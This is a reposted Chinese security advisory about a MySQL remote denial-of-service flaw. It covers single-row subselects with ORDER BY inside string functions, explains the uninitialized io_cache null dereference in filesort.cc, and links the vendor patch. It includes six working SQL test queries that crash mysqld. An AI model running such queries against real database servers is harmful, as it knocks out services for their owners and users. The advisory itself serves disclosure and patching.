首頁 >資料庫 >mysql教程 >MySQL单行子选择远程拒绝服务漏洞_MySQL

MySQL单行子选择远程拒绝服务漏洞_MySQL

WBOY
WBOY原創
2016-06-01 14:00:57954瀏覽

受影响系统:

  MySQL AB MySQL

  不受影响系统:

  MySQL AB MySQL 5.0.37

  描述:

  BUGTRAQ ID: 22900

  MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。MySQL在处理特定畸形请求时存在漏洞,远程攻击者可能利用此漏洞在导致MySQL进程崩溃。

  如果MySQL用户在字符串函数中使用了子选择的话,就会调用Item_singlerow_subselect::val_str()。由于无需分类整理单行子选择的结果,因此不会初始化所分配结构st_table中的某些字段,具体来讲是sort->io_cache字段。但如果在查询中使用了 ORDER BY,就会对表格运行filesort(),filesort()中的错误处理例程在引用未初始化字段值出现段访问错误:

  libmysqld/filesort.cc:

  111FILESORT_INFOtable_sort;
  (...)
  117memcpy(&table_sort,&table->sort,sizeof(FILESORT_INFO));
  120outfile=table_sort.io_cache;
  (..)
  269err:
  (..)
  276if(my_b_inited(outfile))

  include/my_sys.h:

  503 #define my_b_inited(info) (info)->buffer

  这可能会触发空指针引用,导致mysqld崩溃。

  

  测试方法:

  (警告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!)

  SELECTASCII((SELECTtable_nameFROMinformation_schema.columnsORDERBY1));
  SELECTTRIM(LEADINGFROM(SELECTtable_nameFROMinformation_schema.columnsORDERBY1));
  SELECTSUBSTR((SELECTtable_nameFROMinformation_schema.tablesORDERBY1),1,1);
  SELECTUPPER((SELECTtable_nameFROMinformation_schema.tablesORDERBY1));
  SELECTRTRIM((SELECTtable_nameFROMinformation_schema.tablesORDERBY1));
  SELECTRPAD((SELECTtable_nameFROMinformation_schema.tablesORDERBY1),1,'lol');

  建议:

  厂商补丁:

  目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

  http://dev.mysql.com/downloads/mysql/5.0.html#downloads

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn